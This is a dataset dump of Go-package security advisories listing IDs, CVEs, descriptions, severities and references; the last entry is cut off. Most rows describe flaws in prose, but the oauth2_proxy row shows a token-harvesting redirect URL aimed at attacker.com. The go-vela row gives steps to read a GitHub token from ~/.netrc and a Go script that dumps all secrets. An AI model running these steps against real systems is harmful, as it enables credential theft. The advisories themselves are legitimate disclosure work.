ecosystem stringclasses 14 values | vuln_id stringlengths 10 19 | summary stringlengths 4 267 ⌀ | details stringlengths 9 13.5k | aliases stringlengths 17 144 ⌀ | modified_date stringdate 2010-05-27 05:47:00 2022-05-10 08:46:52 | published_date stringdate 2005-12-31 05:00:00 2022-05-10 08:46:50 | severity stringclasses 5 values | score float64 0 10 ⌀ | cwe_id stringclasses 988 values | refs stringlengths 30 17.7k ⌀ | introduced stringlengths 75 4.26k ⌀ |
|---|---|---|---|---|---|---|---|---|---|---|---|
Go | GHSA-p55x-7x9v-q8m4 | Denial of Service in miekg-dns | A denial of service flaw was found in miekg-dns before 1.0.4. A remote attacker could use carefully timed TCP packets to block the DNS server from accepting new connections. | {'CVE-2017-15133'} | 2021-05-20T20:59:20Z | 2021-06-29T21:45:07Z | HIGH | null | {'CWE-400'} | {'https://bugzilla.redhat.com/show_bug.cgi?id=1538763', 'https://nvd.nist.gov/vuln/detail/CVE-2017-15133', 'https://github.com/miekg/dns/issues/627', 'https://github.com/miekg/dns/pull/631', 'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} | null |
Go | GHSA-w942-gw6m-p62c | Denial of service in GJSON | GJSON before 1.6.4 allows attackers to cause a denial of service via crafted JSON. | {'CVE-2020-35380'} | 2021-05-12T21:50:06Z | 2021-06-23T17:53:05Z | HIGH | null | {'CWE-400'} | {'https://github.com/tidwall/gjson/issues/192', 'https://github.com/tidwall/gjson/commit/f0ee9ebde4b619767ae4ac03e8e42addb530f6bc', 'https://nvd.nist.gov/vuln/detail/CVE-2020-35380'} | null |
Go | GHSA-c3h9-896r-86jm | Improper Input Validation in GoGo Protobuf | An issue was discovered in GoGo Protobuf before 1.3.2. plugin/unmarshal/unmarshal.go lacks certain index validation, aka the "skippy peanut butter" issue. | {'CVE-2021-3121'} | 2022-03-28T20:28:00Z | 2022-03-28T20:28:00Z | HIGH | null | {'CWE-20', 'CWE-129'} | {'https://lists.apache.org/thread.html/r68032132c0399c29d6cdc7bd44918535da54060a10a12b1591328bff@%3Cnotifications.skywalking.apache.org%3E', 'https://discuss.hashicorp.com/t/hcsec-2021-23-consul-exposed-to-denial-of-service-in-gogo-protobuf-dependency/29025', 'https://github.com/gogo/protobuf', 'https://github.com/gogo/protobuf/compare/v1.3.1...v1.3.2', 'https://lists.apache.org/thread.html/rc1e9ff22c5641d73701ba56362fb867d40ed287cca000b131dcf4a44@%3Ccommits.pulsar.apache.org%3E', 'https://lists.apache.org/thread.html/r88d69555cb74a129a7bf84838073b61259b4a3830190e05a3b87994e@%3Ccommits.pulsar.apache.org%3E', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3121', 'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc', 'https://security.netapp.com/advisory/ntap-20210219-0006/'} | null |
Go | GHSA-ggjr-2f7v-vhq4 | Authentication Bypass in Kiali | An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication. | {'CVE-2021-20278'} | 2021-06-03T21:52:22Z | 2021-06-01T21:57:08Z | MODERATE | null | {'CWE-290'} | {'https://kiali.io/news/security-bulletins/kiali-security-002/', 'https://bugzilla.redhat.com/show_bug.cgi?id=1937171', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20278'} | null |
Go | GHSA-qqxw-m5fj-f7gv | The pattern '/\domain.com' is not disallowed when redirecting, allowing for open redirect | ### Impact
An open redirect vulnerability has been found in `oauth2_proxy`. Anyone who uses `oauth2_proxy` may potentially be impacted.
For a context [detectify] have an in depth blog post about the potential impact of an open redirect. Particularly see the OAuth section.
**tl;dr**: People's authentication tokens could be silently harvested by an attacker. e.g:
`facebook.com/oauth.php?clientid=123&state=abc&redirect_url=https://yourdomain.com/red.php?url%3dhttps://attacker.com/`
### Patches
@sauyon found the issue, and has submitted a patch.
```
diff --git a/oauthproxy.go b/oauthproxy.go
index 72ab580..f420df6 100644
--- a/oauthproxy.go
+++ b/oauthproxy.go
@@ -517,7 +517,7 @@ func (p *OAuthProxy) GetRedirect(req *http.Request) (redirect string, err error)
// IsValidRedirect checks whether the redirect URL is whitelisted
func (p *OAuthProxy) IsValidRedirect(redirect string) bool {
switch {
- case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//"):
+ case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//") && !strings.HasPrefix(redirect, "/\\"):
return true
case strings.HasPrefix(redirect, "http://") || strings.HasPrefix(redirect, "https://"):
redirectURL, err := url.Parse(redirect)
```
This patch will be applied to the next release, which is scheduled for when this is publicly disclosed.
### Workarounds
At this stage there is no work around. | {'CVE-2020-5233'} | 2021-05-24T21:20:17Z | 2021-12-20T18:02:38Z | MODERATE | null | {'CWE-601'} | {'https://github.com/oauth2-proxy/oauth2_proxy/releases/tag/v5.0.0', 'https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-qqxw-m5fj-f7gv', 'https://blog.detectify.com/2019/05/16/the-real-impact-of-an-open-redirect/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5233', 'https://github.com/oauth2-proxy/oauth2_proxy/commit/a316f8a06f3c0ca2b5fc5fa18a91781b313607b2'} | null |
Go | GHSA-3f8r-4qwm-r7jf | Improper Authentication in Apache Traffic Control | Improper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user's correct password. | {'CVE-2019-12405'} | 2021-10-13T17:25:40Z | 2021-05-18T15:39:16Z | CRITICAL | null | {'CWE-287'} | {'https://github.com/apache/trafficcontrol/commit/f780aff77a52d52a37b4d1cc3e8e801c0b557356', 'https://github.com/apache/trafficcontrol', 'https://lists.apache.org/thread.html/rc8bfd7d4f71d61e9193efcd4699eccbab3c202ec1d75ed9d502f08bf@%3Ccommits.trafficcontrol.apache.org%3E', 'https://lists.apache.org/thread.html/r3c675031ac220b5eae64a9c84a03ee60045c6045738607dca4a96cb8@%3Ccommits.trafficcontrol.apache.org%3E', 'https://support.f5.com/csp/article/K84141859', 'https://lists.apache.org/thread.html/e128e9d382f3b0d074e2b597ac58e1d92139394509d81ddbc9e3700e@%3Cusers.trafficcontrol.apache.org%3E', 'https://nvd.nist.gov/vuln/detail/CVE-2019-12405', 'https://support.f5.com/csp/article/K84141859?utm_source=f5support&utm_medium=RSS'} | null |
Go | GHSA-8j3f-mhq8-gmh4 | Reject unauthorized access with GitHub PATs | ### Impact
_What kind of vulnerability is it? Who is impacted?_
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce
1. Create Vela server
2. Login to Vela UI
3. Promote yourself to Vela administrator
- `UPDATE users SET admin = 't' WHERE name = <username>`
4. Activate repository within Vela
5. Add `.vela.yml` to the repository with the following content
```yaml
version: "1"
steps:
- name: steal
image: alpine
commands:
- cat ~/.netrc
```
1. Look at build logs to find the following content
```
$ cat ~/.netrc
machine <GITHUB URL>
login x-oauth-basic
password <token>
```
1. Copy the password to be utilized in some later step
1. Add secret(s) to activated repo
1. Copy the following script into `main.go`
```golang
package main
import (
"fmt"
"github.com/go-vela/sdk-go/vela"
"os"
)
func main() {
// create client to connect to vela
client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
if err != nil {
panic(err)
}
// add PAT to request
client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
if err != nil {
panic(err)
}
for _, secret := range *secrets {
fmt.Println(*secret.Name)
fmt.Println(*secret.Value)
}
}
```
1. Run the `main.go` with environment specific settings
- `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
### Patches
_Has the problem been patched? What versions should users upgrade to?_
* Upgrade to `v0.7.5` or later
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
* No known workarounds
### References
_Are there any links users can visit to find out more?_
* https://github.com/go-vela/server/pull/246
* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token
### For more information
If you have any questions or comments about this advisory
* Email us at [vela@target.com](mailto:vela@target.com) | {'CVE-2021-21432'} | 2021-05-20T20:12:26Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-863', 'CWE-285'} | {'https://github.com/go-vela/server/pull/337', 'https://github.com/go-vela/server/releases/tag/v0.7.5', 'https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21432', 'https://pkg.go.dev/github.com/go-vela/server', 'https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46'} | null |
Go | GO-2020-0031 | null | Due to improper setting of finalizers, memory passed to C may be freed before it is used,
leading to crashes due to memory corruption or possible code execution.
| {'CVE-2020-8945'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://bugzilla.redhat.com/show_bug.cgi?id=1795838', 'https://github.com/proglottis/gpgme/commit/92153bcb59bd2f511e502262c46c7bd660e21733'} | null |
Go | GHSA-qggc-pj29-j27m | Improper Privilege Management in Mattermost | One of the API in Mattermost version 6.4.1 and earlier fails to properly protect the permissions, which allows the authenticated members with restricted custom admin role to bypass the restrictions and view the server logs and server config.json file contents. Per the Mattermost security updates page, versions 6.4.2, 6.3.5, 6.2.5, and 5.37.9 contain patches for this issue | {'CVE-2022-1332'} | 2022-04-22T21:05:51Z | 2022-04-14T00:00:17Z | MODERATE | null | {'CWE-200', 'CWE-269'} | {'https://github.com/mattermost/mattermost-server', 'https://nvd.nist.gov/vuln/detail/CVE-2022-1332', 'https://mattermost.com/security-updates/'} | null |
Go | GO-2021-0095 | null | Due to repeated usage of a XOR key an attacker that can eavesdrop on the TPM 1.2 transport
is able to calculate usageAuth for keys created using CreateWrapKey, despite it being encrypted,
allowing them to use the created key.
| {'CVE-2020-8918'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/google/go-tpm/commit/d7806cce857a1a020190c03348e5361725d8f141', 'https://github.com/google/go-tpm/security/advisories/GHSA-5x29-3hr9-6wpw', 'https://github.com/google/go-tpm/pull/195'} | null |
Go | GHSA-j96p-r523-8r3w | HTTP Request Smuggling in github.com/hyperledger/fabric | A vulnerability has been detected in HyperLedger Fabric v1.4.0, v2.0.0, v2.0.1, v2.3.0. It can easily break down as many orderers as the attacker wants. This bug can be leveraged by constructing a message whose header is invalid to the interface Order. This bug has been admitted and fixed by the developers of Fabric. | {'CVE-2021-43669'} | 2021-11-24T19:42:20Z | 2021-12-03T20:52:02Z | HIGH | null | {'CWE-444'} | {'https://github.com/hyperledger/fabric', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43669', 'https://github.com/hyperledger/fabric/pull/2828', 'https://jira.hyperledger.org/browse/FAB-18528', 'https://github.com/hyperledger/fabric/releases/tag/v2.4.0-beta'} | null |
Go | GHSA-5v95-v8c8-3rh6 | Privilege escalation in rbac | ### Impact
Using a carefully crafted request or malicious proxy, a user with `UserWrite` permissions could create another user with higher privileges than their own due to insufficient checks on the allowed set of permissions. The event would be captured in the Event Log.
### Patches
The issue has been fixed in 0.24.0 and 0.23.1.
### Workarounds
For users who are unable to upgrade, we recommend auditing users who have `UserWrite` permissions and regularly reviewing the Event Log for malicious activity.
### Kudos
Thank you to Michael Mazzolini (Ethical Hacker at WHO) for finding and disclosing this vulnerability. | {'CVE-2021-22538'} | 2021-05-20T22:26:21Z | 2021-05-21T14:32:55Z | HIGH | null | {'CWE-276'} | {'https://github.com/google/exposure-notifications-verification-server/releases/tag/v0.24.0', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22538', 'https://github.com/google/exposure-notifications-verification-server/releases/tag/v0.23.1', 'https://github.com/google/exposure-notifications-verification-server/commit/eb8cf40b12dbe79304f1133c06fb73419383cd95', 'https://github.com/google/exposure-notifications-verification-server/security/advisories/GHSA-5v95-v8c8-3rh6'} | null |
Go | GHSA-9423-6c93-gpp8 | Arbitrary File Write via Archive Extraction (Zip Slip) | The CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading ".." which leads in file extraction outside of the current directory. Note, the fixing commit was applied to all affected versions which were re-released. | {'CVE-2020-7667'} | 2022-01-04T19:27:35Z | 2021-06-23T17:13:29Z | HIGH | null | {'CWE-22'} | {'https://github.com/sassoftware/go-rpmutils', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMSASSOFTWAREGORPMUTILSCPIO-570427', 'https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7667'} | null |
Go | GHSA-qmmc-jppf-32wv | Directory Traversal in Docker | Docker before 1.3.3 does not properly validate image IDs, which allows remote attackers to conduct path traversal attacks and spoof repositories via a crafted image in a (1) "docker load" operation or (2) "registry communications." | {'CVE-2014-9358'} | 2021-05-20T21:02:14Z | 2022-02-15T00:41:14Z | MODERATE | null | {'CWE-59'} | {'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9358', 'https://access.redhat.com/security/cve/cve-2014-9358', 'https://groups.google.com/forum/#!msg/docker-user/nFAz-B-n4Bw/0wr3wvLsnUwJ', 'https://nvd.nist.gov/vuln/detail/CVE-2014-9358', 'http://www.securityfocus.com/archive/1/534215/100/0/threaded', 'https://groups.google.com/forum/#%21msg/docker-user/nFAz-B-n4Bw/0wr3wvLsnUwJ'} | null |
Go | GHSA-gw5h-h6hj-f56g | Improper Authorization in Gogs | ### Impact
Expired PAM accounts and accounts with expired passwords are continued to be seen as valid. Installations use PAM as authentication sources are affected.
### Patches
Expired PAM accounts and accounts with expired passwords are no longer being seen as valid. Users should upgrade to 0.12.5 or the latest 0.13.0+dev.
### Workarounds
In addition to marking PAM accounts as expired, also disable/lock them. Running `usermod -L <username>` will add an exclamation mark to the password hash and would result in wrong passwords responses when trying to login.
### References
https://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62/
### For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6810.
| null | 2022-03-14T22:58:37Z | 2022-03-14T22:58:37Z | HIGH | null | {'CWE-285'} | {'https://github.com/gogs/gogs/security/advisories/GHSA-gw5h-h6hj-f56g', 'https://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62', 'https://github.com/gogs/gogs', 'https://github.com/gogs/gogs/commit/64102be2c90e1b47dbdd379873ba76c80d4b0e78'} | null |
Go | GHSA-wm2r-rp98-8pmh | Exposure of SSH credentials in Rancher/Fleet | ### Impact
This vulnerability only affects customers using Fleet for continuous delivery with authenticated Git and/or Helm repositories.
A security vulnerability ([CVE-2022-29810](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29810)) was discovered in `go-getter` library in versions prior to [`v1.5.11`](https://github.com/hashicorp/go-getter/releases/tag/v1.5.11) that exposes SSH private keys in base64 format due to a failure in redacting such information from error messages. The vulnerable version of this library is used in Rancher through Fleet in versions of Fleet prior to [`v0.3.9`](https://github.com/rancher/fleet/releases/tag/v0.3.9). This issue affects Rancher versions 2.5.0 up to and including 2.5.12 and from 2.6.0 up to and including 2.6.3.
When Git and/or Helm authentication is configured in [Fleet](https://rancher.com/docs/rancher/v2.6/en/deploy-across-clusters/fleet/) and Fleet is used to deploy a git repo through `Continuous Delivery`, the affected `go-getter` version will expose the configured SSH private key secret if Fleet fails to download the git repo due to a misconfigured URL. The exposed SSH key is logged in base64 format as a query parameter together with the git URL. The credentials can be seen in Rancher UI and in Fleet's deployment pod logs.
### Patches
Patched versions include releases 2.5.13, 2.6.4 and later versions.
### Workarounds
There is not a direct mitigation besides upgrading to the patched Rancher versions. Until you are able to upgrade, limit access in Rancher to trusted users and carefully validate the URLs you are using are correct. Please note that the SSH key might still be compromised in valid URLs if the service goes down or a connection error happens when pulling from the repos.
**Note:** If you believe that SSH keys might have been exposed in your environment, it's highly advised to rotate them.
### Credits
This issue was found and reported by Dagan Henderson from Raft Engineering.
### For more information
If you have any questions or comments about this advisory:
* Reach out to [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.
* Open an issue in [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.
* Verify our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/). | null | 2022-04-27T21:09:13Z | 2022-04-27T21:09:13Z | LOW | null | {'CWE-200'} | {'github.com/rancher/rancher', 'https://github.com/rancher/rancher/security/advisories/GHSA-wm2r-rp98-8pmh'} | null |
Go | GO-2021-0113 | null | Due to improper index calculation, an incorrectly formatted language tag can cause Parse
to panic, due to an out of bounds read. If Parse is used to process untrusted user inputs,
this may be used as a vector for a denial of service attack.
| {'CVE-2021-38561'} | 2021-10-06T12:00:00Z | 2021-10-06T12:00:00Z | null | null | null | {'https://go.googlesource.com/text/+/383b2e75a7a4198c42f8f87833eefb772868a56f', 'https://go-review.googlesource.com/c/text/+/340830'} | null |
Go | GHSA-3wxm-m9m4-cprj | Import of incorrectly embargoed keys could cause early publication | ### Impact
If your installation is using the `export-importer` service, there is potential impact.
If your installation is not importing keys via the `export-importer` services, your installation is not impacted.
In versions `0.19.1` and earlier, the `export-importer` service assumed that the server it was importing from had properly embargoed keys for at least 2 hours after their expiry time. There are now known instances of servers that did not properly embargo keys.
This could allow allow for imported keys to be re-published before they have expired, allowing for potential replay of RPIs.
### Patches
This is patched in `v0.18.3` and all versions `0.19.2` and later.
### Workarounds
Ensure that the servers you are importing export zip files from are not publishing keys too early.
### References
n/a
### For more information
If you have any questions or comments about this advisory
* Open an issue in [exposure-notifications-server](https://github.com/google/exposure-notifications-server/)
* Email us at [exposure-notifications-feedback@google.com](mailto:exposure-notifications-feedback@google.com) | null | 2021-05-20T20:24:22Z | 2021-05-21T16:24:44Z | MODERATE | null | null | {'https://github.com/google/exposure-notifications-server/security/advisories/GHSA-3wxm-m9m4-cprj'} | null |
Go | GO-2021-0056 | null | Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
| {'CVE-2020-15216'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/dexidp/dex/security/advisories/GHSA-m9hp-7r99-94h5', 'https://github.com/dexidp/dex/commit/324b1c886b407594196113a3dbddebe38eecd4e8'} | null |
Go | GHSA-xm99-6pv5-q363 | OS Command injection in github.com/kardianos/service | service_windows.go in the kardianos service package for Go omits quoting that is sometimes needed for execution of a Windows service executable from the intended directory.
The validity of this vulnerability has been [questioned](https://github.com/kardianos/service/pull/290#issuecomment-1109831505) and the reporter has requested that the CVE be [disputed](https://github.com/kardianos/service/issues/289#issuecomment-1110546798). | {'CVE-2022-29583'} | 2022-04-28T20:47:17Z | 2022-04-23T00:03:03Z | HIGH | null | {'CWE-78'} | {'https://github.com/kardianos/service/pull/290', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29583', 'https://github.com/kardianos/service/issues/289', 'https://github.com/kardianos/service'} | null |
Go | GHSA-mvff-h3cj-wj9c | Unprivileged pod using `hostPath` can side-step active LSM when it is SELinux | ### Impact
Containers launched through containerd’s CRI implementation on Linux systems which use the SELinux security module and containerd versions since v1.5.0 can cause arbitrary files and directories on the host to be relabeled to match the container process label through the use of specially-configured bind mounts in a hostPath volume. This relabeling elevates permissions for the container, granting full read/write access over the affected files and directories. Kubernetes and crictl can both be configured to use containerd’s CRI implementation.
If you are not using containerd’s CRI implementation (through one of the mechanisms described above), you are not affected by this issue.
### Patches
This bug has been fixed in containerd 1.5.9. Because file labels persist independently of containerd, users should both update to these versions as soon as they are released and validate that all files on their host are correctly labeled.
### Workarounds
Ensure that no sensitive files or directories are used as a hostPath volume source location. Policy enforcement mechanisms such a Kubernetes Pod Security Policy [AllowedHostPaths](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems) may be specified to limit the files and directories that can be bind-mounted to containers.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io) | {'CVE-2021-43816'} | 2022-04-04T20:40:33Z | 2022-01-06T17:36:59Z | HIGH | null | {'CWE-281'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-43816', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GD5GH7NMK5VJMA2Y5CYB5O5GTPYMWMLX/', 'https://github.com/containerd/containerd/issues/6194', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPDIZMI7ZPERSZE2XO265UCK5IWM7CID/', 'https://github.com/dweomer/containerd/commit/f7f08f0e34fb97392b0d382e58916d6865100299', 'https://github.com/containerd/containerd/commit/a731039238c62be081eb8c31525b988415745eea', 'https://github.com/containerd/containerd/security/advisories/GHSA-mvff-h3cj-wj9c', 'https://github.com/containerd/containerd'} | null |
Go | GHSA-pmfr-63c2-jr5c | Execution Control List (ECL) Is Insecure in Singularity | ### Impact
The Singularity Execution Control List (ECL) allows system administrators to set up a policy that defines rules about what signature(s) must be (or must not be) present on a SIF container image for it to be permitted to run.
In Singularity 3.x versions below 3.6.0, the following issues allow the ECL to be bypassed by a malicious user:
* Image integrity is not validated when an ECL policy is enforced.
* The fingerprint required by the ECL is compared against the signature object descriptor(s) in the SIF file, rather than to a cryptographically validated signature. Thus, it is trivial to craft an arbitrary payload which will be permitted to run, even if the attacker does not have access to the private key associated with the fingerprint(s) configured in the ECL.
### Patches
These issues are addressed in Singularity 3.6.0.
All users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity < 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.
Version 3.6.0 includes a `legacyinsecure` option that can be set to `legacyinsecure = true` in `ecl.toml` to allow the ECL to perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format. The option should be used only to temporarily ease the transition to containers signed with the new 3.6.0 signature format.
### Workarounds
This issue affects any installation of Singularity configured to use the Execution Control List (ECL) functionality. There is no workaround if ECL is required.
### For more information
General questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:
* [Singularity Slack Channel](https://bit.ly/2m0g3lX)
* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)
Any sensitive security concerns should be directed to: security@sylabs.io
See our Security Policy here: https://sylabs.io/security-policy | {'CVE-2020-13845'} | 2021-05-24T19:13:13Z | 2021-12-20T18:24:30Z | HIGH | null | {'CWE-347', 'CWE-354'} | {'http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00046.html', 'http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00053.html', 'http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00059.html', 'https://github.com/hpcng/singularity/security/advisories/GHSA-pmfr-63c2-jr5c', 'https://nvd.nist.gov/vuln/detail/CVE-2020-13845'} | null |
Go | GHSA-9cwv-cppx-mqjm | Improper Authentication in Capsule Proxy | ### Impact
Using a malicious `Connection` header, an attacker with a proper authentication mechanism could start a privilege escalation towards the Kubernetes API Server, being able to exploit the `cluster-admin` Role bound to `capsule-proxy`.
### Patches
Patch has been merged in the v0.2.1 release.
### Workarounds
Upgrading is mandatory.
| {'CVE-2022-23652'} | 2022-02-25T15:39:14Z | 2022-02-23T21:17:25Z | HIGH | null | {'CWE-287'} | {'https://github.com/clastix/capsule-proxy/issues/188', 'https://github.com/clastix/capsule-proxy/commit/efe91f68ebf8a9e3d21491dc57da7b8a746415d8', 'https://github.com/clastix/capsule-proxy/', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23652', 'https://github.com/clastix/capsule-proxy/security/advisories/GHSA-9cwv-cppx-mqjm'} | null |
Go | GHSA-399h-cmvp-qgx5 | Incorrect Default Permissions in Binance tss-lib | The keygen protocol implementation in Binance tss-lib before 1.2.0 allows attackers to generate crafted h1 and h2 parameters in order to compromise a signing round or obtain sensitive information from other parties. | {'CVE-2020-12118'} | 2021-05-25T20:16:35Z | 2021-06-29T21:32:11Z | HIGH | null | {'CWE-276'} | {'https://github.com/binance-chain/tss-lib/releases/tag/v1.2.0', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12118', 'https://github.com/binance-chain/tss-lib/pull/89/commits/7b7c17e90504d5dad94b938e84fec690bb1ec311', 'https://github.com/binance-chain/tss-lib/pull/89'} | null |
Go | GO-2021-0105 | null | Due to an incorrect state calculation, a specific set of transactions could cause a consensus disagreement,
causing users of this package to reject a canonical chain.
| {'CVE-2020-26265'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/ethereum/go-ethereum/pull/21080', 'https://github.com/advisories/GHSA-xw37-57qp-9mm4', 'https://github.com/ethereum/go-ethereum/commit/87c0ba92136a75db0ab2aba1046d4a9860375d6a'} | null |
Go | GHSA-8h8p-x289-vvqr | Gitea displaying raw OpenID error in UI | Gitea is a project to help users set up a self-hosted Git service. Server Side Request Forgery (SSRF) vulnerability exists in Gitea before 1.7.0 using the OpenID URL. Gitea can leak sensitive information about the local network through the error provided by the UI. | {'CVE-2021-45325'} | 2022-02-14T21:42:51Z | 2022-02-09T00:00:29Z | MODERATE | null | {'CWE-918'} | {'https://github.com/go-gitea/gitea/issues/4973', 'https://github.com/go-gitea/gitea', 'https://github.com/go-gitea/gitea/pull/5705', 'https://blog.gitea.io/2019/01/gitea-1.7.0-is-released/', 'https://github.com/go-gitea/gitea/pull/5712', 'https://nvd.nist.gov/vuln/detail/CVE-2021-45325'} | null |
Go | GO-2021-0060 | null | Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
| {'CVE-2020-29509'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/russellhaering/gosaml2/commit/42606dafba60c58c458f14f75c4c230459672ab9', 'https://github.com/russellhaering/gosaml2/security/advisories/GHSA-xhqq-x44f-9fgg'} | null |
Go | GHSA-fh74-hm69-rqjw | procfs race condition with a shared volume mount | ### Impact
By crafting a malicious root filesystem (with `/proc` being a symlink to a directory which was inside a volume shared with another running container), an attacker in control of both containers can trick `runc` into not correctly configuring the container&amp;amp;amp;#39;s security labels and not correctly masking paths inside `/proc` which contain potentially-sensitive information about the host (or even allow for direct attacks against the host).
In order to exploit this bug, an untrusted user must be able to spawn custom containers with custom mount configurations (such that a volume is shared between two containers). It should be noted that we consider this to be a fairly high level of access for an untrusted user -- and we do not recommend allowing completely untrusted users to have such degrees of access without further restrictions.
### Patches
This vulnerability has been fixed in `1.0.0-rc10`. It should be noted that the current fix is effectively a hot-fix, and there are known ways for it to be worked around (such as making the entire root filesystem a shared volume controlled by another container). We recommend that users review their access policies to ensure that untrusted users do not have such high levels of controls over container mount configuration.
### Workarounds
If you are not providing the ability for untrusted users to configure mountpoints for `runc` (or through a higher-level tool such as `docker run -v`) then you are not vulnerable to this issue. This exploit requires fairly complicated levels of access (which are available for some public clouds but are not necessarily available for all deployments).
Additionally, it appears as though it is not possible to exploit this vulnerability through Docker (due to the order of mounts Docker generates). However you should not depend on this, as it may be possible to work around this roadblock.
### Credits
This vulnerability was discovered by Cure53, as part of a third-party security audit.
### For more information
If you have any questions or comments about this advisory:
* [Open an issue](https://github.com/opencontainers/runc/issues/new).
* Email us at [dev@opencontainers.org](mailto:dev@opencontainers.org), or [security@opencontainers.org](mailto:security@opencontainers.org) if you think you&amp;amp;amp;#39;ve found a security bug. | {'CVE-2019-19921'} | 2021-05-24T21:20:41Z | 2021-05-27T18:41:17Z | MODERATE | null | {'CWE-362'} | {'https://github.com/opencontainers/runc/issues/2197', 'https://security-tracker.debian.org/tracker/CVE-2019-19921', 'https://access.redhat.com/errata/RHSA-2020:0688', 'https://github.com/opencontainers/runc/pull/2190', 'https://github.com/opencontainers/runc/releases', 'https://access.redhat.com/errata/RHSA-2020:0695', 'https://security.gentoo.org/glsa/202003-21', 'https://usn.ubuntu.com/4297-1/', 'https://github.com/opencontainers/runc/pull/2207', 'https://nvd.nist.gov/vuln/detail/CVE-2019-19921', 'http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00018.html', 'https://github.com/opencontainers/runc/security/advisories/GHSA-fh74-hm69-rqjw'} | null |
Go | GHSA-5ph6-qq5x-7jwc | ExternalName Services can be used to gain access to Envoy's admin interface | ### Impact
Josh Ferrell (@josh-ferrell) from VMware has reported that a specially crafted ExternalName type Service may be used to access Envoy's admin interface, which Contour normally prevents from access outside the Envoy container. This can be used to shut down Envoy remotely (a denial of service), or to expose the existence of any Secret that Envoy is using for its configuration, including most notably TLS Keypairs. However, it *cannot* be used to get the *content* of those secrets.
Since this attack allows access to the administration interface, a variety of administration options are available, such as shutting down the Envoy or draining traffic. In general, the Envoy admin interface cannot easily be used for making changes to the cluster, in-flight requests, or backend services, but it could be used to shut down or drain Envoy, change traffic routing, or to retrieve secret metadata, as mentioned above.
### Patches
The issue will be addressed in the forthcoming Contour v1.18.0 and a patch release, v1.17.1, has been released in the meantime.
It is addressed in two ways:
- disabling ExternalName type Services by default
